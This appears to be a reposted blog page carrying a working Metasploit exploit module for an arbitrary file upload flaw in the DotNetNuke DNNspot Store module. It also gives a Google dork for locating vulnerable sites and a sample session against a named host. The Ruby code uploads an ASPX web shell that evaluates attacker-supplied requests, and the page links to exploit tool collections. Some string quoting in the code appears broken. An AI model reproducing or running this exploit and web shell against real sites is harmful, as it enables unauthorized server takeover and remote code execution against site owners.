zoukankan      html  css  js  c++  java
  • [EXP]K8 DotNetNuke DNNspot Store <=3.0 GetShell exploit

    # Exploit Title: DotNetNuke DNNspot Store <=3.0 GetShell exploit
    # Date: 31/03/2015
    # Author: K8拉登哥哥
    # Version: 3.0.0
    # Vendor: DNNspot
    # Vendor URL: https://www.dnnspot.com
    # Google Dork: inurl:/DesktopModules/DNNspot-Store/
    #
    #msf > use exploit/windows/http/DNNspot_upload_aspx
    #msf exploit(DNNspot_upload_aspx) > set RHOST qqhack8.blog.163.com
    #RHOST => qqhack8.blog.163.com
    #msf exploit(DNNspot_upload_aspx) > exploit

    #[*] Started reverse handler on 192.168.85.158:4444
    #[*] qqhack8.blog.163.com:80 - Uploading payload...
    #[*] K8WebShell: qqhack8.blog.163.com:80/DesktopModules/DNNspot-Store/ProductPhotos/hhmjrrhd.aspx
    #[!] This exploit may require manual cleanup of 'hhmjrrhd.aspx' on the target
    #msf exploit(DNNspot_upload_aspx) >



    require 'msf/core'

    class Metasploit3 < Msf::Exploit::Remote
      Rank = ExcellentRanking

      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper

      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'DotNetNuke DNNspot Store (UploadifyHandler.ashx) <= 3.0.0 Arbitary File Upload',
          'Description'    => %q{
            This module exploits an arbitrary file upload vulnerability found in DotNetNuke DNNspot Store
            module versions below 3.0.0.
          },
          'Author'         =>
            [
              'Glafkos Charalambous <glafkos.charalambous[at]unithreat.com>'
            ],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              [ 'URL', 'http://metasploit.com' ]
            ],
          'Platform'       => 'win',
          'Arch'           => ARCH_X86,
          'Privileged'     => false,
          'Targets'        =>
            [
              [ 'DNNspot-Store / Windows', {} ],
            ],
          'DefaultTarget'  => 0,
          'DisclosureDate' => 'Jul 21 2014'))
      end

      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx")
        })

        if res and res.code == 200
          return Exploit::CheckCode::Detected
        else
          return Exploit::CheckCode::Safe
        end
      end

      def exploit
        @payload_name = "#{rand_text_alpha_lower(8)}.aspx"
        exe  = generate_payload_exe
        aspx  = Msf::Util::EXE.to_exe_aspx(exe)
        post_data = Rex::MIME::Message.new
        post_data.add_part("<%@ Page Language="Jscript"%><%eval(Request.Item["tom"],"unsafe");%>", "application/octet-stream", nil, "form-data; name="Filedata"; filename="#{@payload_name}"")
        post_data.add_part("/DesktopModules/DNNspot-Store/ProductPhotos/", nil, nil, "form-data; name="folder"")
        post_data.add_part("1", nil, nil, "form-data; name="productId"")
        post_data.add_part("w00t", nil, nil, "form-data; name="type"")
        data = post_data.to_s.gsub(/^ --\_Part\_/, '--_Part_')

        print_status("#{peer} - Uploading payload...")
        res = send_request_cgi({
          "method" => "POST",
          "uri"    => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx"),
          "data"   => data,
          "ctype"  => "multipart/form-data; boundary=#{post_data.bound}"
        })

        unless res and res.code == 200
          fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
        end

        register_files_for_cleanup(@payload_name)

        print_status("K8WebShell: #{peer}/DesktopModules/DNNspot-Store/ProductPhotos/#{@payload_name}")
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri("/DesktopModules/DNNspot-Store/ProductPhotos/",@payload_name)
        })
      end
    end


    https://github.com/k8gege/DotNetNukeEXPLOIT

    https://github.com/k8gege/K8tools

  • 相关阅读:
    centos7系统修改内核
    使用yum update更新文件系统时不更新内核的方法
    实现让用户不断的猜年龄,但只给最多3次机会,超过次数猜不对就退出程序。
    yum安装软件中的y/d/N
    MySQL5.7.15数据库配置主从服务器实现双机热备实例教程
    CentOS7.2 多个python版本共存
    CentOS 7.2 安装Python3.5.2
    R语言与概率统计(五) 聚类分析
    R语言与概率统计(四) 判别分析(分类)
    R语言与概率统计(三) 多元统计分析(下)广义线性回归
  • 原文地址:https://www.cnblogs.com/k8gege/p/10454182.html
Copyright © 2011-2022 走看看